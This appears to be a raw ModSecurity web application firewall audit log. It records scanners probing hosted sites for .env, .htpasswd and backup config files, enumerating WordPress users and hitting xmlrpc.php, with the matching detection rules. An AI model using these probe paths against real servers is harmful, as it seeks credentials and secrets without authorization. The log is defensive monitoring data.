aE9w1IkQyF8-ounHsxsEHQAAAA8 185.177.72.210 46754 127.0.0.1 7081 --76440d59-B-- GET /:8888/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --76440d59-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=638f9b3faea0f8940b44ee7f0e2a88841750036692; expires=Mon, 16 Jun 2025 02:18:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --76440d59-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.test"] [unique_id "aE9w1IkQyF8-ounHsxsEHQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036692180120 673920 (- - -) Stopwatch2: 1750036692180120 673920; combined=1736, p1=401, p2=1223, p3=0, p4=0, p5=111, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76440d59-Z-- --03868b2b-A-- [16/Jun/2025:06:48:19.526022 +0530] aE9w2vv_9qNKLXJRkuZcrQAAAAs 185.177.72.210 47166 127.0.0.1 7081 --03868b2b-B-- GET /conf.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --03868b2b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b1803a6f6c588c11e72c58d95c8e24a31750036699; expires=Mon, 16 Jun 2025 02:18:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --03868b2b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/conf.php.old"] [unique_id "aE9w2vv_9qNKLXJRkuZcrQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036698816633 709465 (- - -) Stopwatch2: 1750036698816633 709465; combined=3043, p1=323, p2=2617, p3=0, p4=0, p5=103, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --03868b2b-Z-- --d65eaa11-A-- [16/Jun/2025:06:48:25.063109 +0530] aE9w3_v_9qNKLXJRkuZcrwAAAAs 107.151.209.113 34010 127.0.0.1 7081 --d65eaa11-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.pjsglobal.com X-Real-IP: 107.151.209.113 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 --d65eaa11-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.3.22 Cache-Control: no-cache X-Robots-Tag: noindex Link: <https://www.pjsglobal.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin WPO-Cache-Status: not cached WPO-Cache-Message: Output is too small (less than 255 bytes) to be worth caching, This is a REST API request (identified by REST_REQUEST constant), This page returned an HTTP unauthorised response code (401) Cache-Control: private, must-revalidate Connection: close Content-Type: application/json; charset=UTF-8 --d65eaa11-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.pjsglobal.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.pjsglobal.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.pjsglobal.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9w3_v_9qNKLXJRkuZcrwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/pjsglobal.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036703998211 1065000 (- - -) Stopwatch2: 1750036703998211 1065000; combined=2133, p1=357, p2=1670, p3=0, p4=0, p5=105, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d65eaa11-Z-- --d6838c2b-A-- [16/Jun/2025:06:48:28.468911 +0530] aE9w4-hCUAahT1nBjTYMhAAAAAM 128.199.112.101 34176 127.0.0.1 7081 --d6838c2b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d6838c2b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d6838c2b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9w4-hCUAahT1nBjTYMhAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036707544942 924024 (- - -) Stopwatch2: 1750036707544942 924024; combined=2368, p1=387, p2=1550, p3=41, p4=63, p5=199, sr=112, sw=128, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d6838c2b-Z-- --90859509-A-- [16/Jun/2025:06:48:34.037146 +0530] aE9w6fbo0R64L12N_alavgAAAAQ 185.177.72.210 59336 127.0.0.1 7081 --90859509-B-- GET /web.config.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --90859509-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cc9405ca4cfd039dcccc65056d9242b11750036713; expires=Mon, 16 Jun 2025 02:18:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --90859509-H-- Message: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/web.config.bak"] [unique_id "aE9w6fbo0R64L12N_alavgAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/web.config.bak"] [unique_id "aE9w6fbo0R64L12N_alavgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036713388184 649026 (- - -) Stopwatch2: 1750036713388184 649026; combined=2021, p1=436, p2=1424, p3=0, p4=0, p5=160, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --90859509-Z-- --9be9d86e-A-- [16/Jun/2025:06:48:49.032614 +0530] aE9w-Pv_9qNKLXJRkuZcuQAAAAs 185.177.72.210 39340 127.0.0.1 7081 --9be9d86e-B-- GET /:5000/environnements/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9be9d86e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=82821f2f0a4531f6167f97ab215cc32e1750036728; expires=Mon, 16 Jun 2025 02:18:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9be9d86e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/environnements/.env"] [unique_id "aE9w-Pv_9qNKLXJRkuZcuQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036728330072 702608 (- - -) Stopwatch2: 1750036728330072 702608; combined=2529, p1=503, p2=1928, p3=0, p4=0, p5=97, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9be9d86e-Z-- --8886a951-A-- [16/Jun/2025:06:48:51.080350 +0530] aE9w-okQyF8-ounHsxsELwAAAA8 185.177.72.210 54450 127.0.0.1 7081 --8886a951-B-- GET /:5000/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8886a951-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ef2009f867d0572bd2e336e7d6c7c5d41750036730; expires=Mon, 16 Jun 2025 02:18:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8886a951-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/konfig/.env"] [unique_id "aE9w-okQyF8-ounHsxsELwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036730373195 707259 (- - -) Stopwatch2: 1750036730373195 707259; combined=1931, p1=390, p2=1453, p3=0, p4=0, p5=87, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8886a951-Z-- --02bb9c18-A-- [16/Jun/2025:06:49:03.675657 +0530] aE9xBuMjvy_LHXlMeRAQ7gAAAAU 185.177.72.210 40768 127.0.0.1 7081 --02bb9c18-B-- GET /0.htpasswd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --02bb9c18-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4ceaf33f2f55e8194a33addc9ff19cc81750036743; expires=Mon, 16 Jun 2025 02:19:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --02bb9c18-H-- Message: Warning. Matched phrase ".htpasswd" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/0.htpasswd"] [unique_id "aE9xBuMjvy_LHXlMeRAQ7gAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036742972071 703650 (- - -) Stopwatch2: 1750036742972071 703650; combined=2108, p1=446, p2=1559, p3=0, p4=0, p5=102, sr=129, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --02bb9c18-Z-- --3f4fd640-A-- [16/Jun/2025:06:49:04.868881 +0530] aE9xCPbo0R64L12N_alayQAAAAQ 185.177.72.210 40790 127.0.0.1 7081 --3f4fd640-B-- GET /rust-backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3f4fd640-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f9c4d910056e7042709248647add9ee11750036744; expires=Mon, 16 Jun 2025 02:19:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3f4fd640-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/rust-backend/.env"] [unique_id "aE9xCPbo0R64L12N_alayQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036744214945 654001 (- - -) Stopwatch2: 1750036744214945 654001; combined=1997, p1=426, p2=1472, p3=0, p4=0, p5=99, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3f4fd640-Z-- --c1077c70-A-- [16/Jun/2025:06:49:10.338117 +0530] aE9xDTZ3uHeEW3BYvDO4mAAAAAA 185.177.72.210 45538 127.0.0.1 7081 --c1077c70-B-- GET /challenge/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c1077c70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8da67763318c3a7b54f93e78c0c094ac1750036750; expires=Mon, 16 Jun 2025 02:19:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c1077c70-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/challenge/.env"] [unique_id "aE9xDTZ3uHeEW3BYvDO4mAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036749573264 764914 (- - -) Stopwatch2: 1750036749573264 764914; combined=1751, p1=376, p2=1290, p3=0, p4=0, p5=84, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c1077c70-Z-- --9a990a52-A-- [16/Jun/2025:06:49:20.788637 +0530] aE9xGIkQyF8-ounHsxsEPQAAAA8 185.177.72.210 59938 127.0.0.1 7081 --9a990a52-B-- GET /:8880/donn%C3%A9es/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9a990a52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=49079005d1d72c9471813795766f139f1750036760; expires=Mon, 16 Jun 2025 02:19:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9a990a52-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/donn%C3%A9es/.env"] [unique_id "aE9xGIkQyF8-ounHsxsEPQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036760097429 691271 (- - -) Stopwatch2: 1750036760097429 691271; combined=1668, p1=373, p2=1187, p3=0, p4=0, p5=107, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9a990a52-Z-- --b8ac493f-A-- [16/Jun/2025:06:49:28.994783 +0530] aE9xHzZ3uHeEW3BYvDO4oAAAAAA 128.199.112.101 60254 127.0.0.1 7081 --b8ac493f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b8ac493f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b8ac493f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9xHzZ3uHeEW3BYvDO4oAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036767863155 1131688 (- - -) Stopwatch2: 1750036767863155 1131688; combined=2091, p1=370, p2=1262, p3=50, p4=73, p5=205, sr=101, sw=131, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b8ac493f-Z-- --e3a83f21-A-- [16/Jun/2025:06:49:43.050776 +0530] aE9xLvbo0R64L12N_ala3AAAAAQ 185.177.72.210 46198 127.0.0.1 7081 --e3a83f21-B-- GET /:5000/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e3a83f21-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2bbdaa2af32075cf4e4a19347170f5861750036782; expires=Mon, 16 Jun 2025 02:19:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e3a83f21-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/frontend/.env"] [unique_id "aE9xLvbo0R64L12N_ala3AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036782398299 652566 (- - -) Stopwatch2: 1750036782398299 652566; combined=1970, p1=352, p2=1508, p3=0, p4=0, p5=109, sr=75, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: 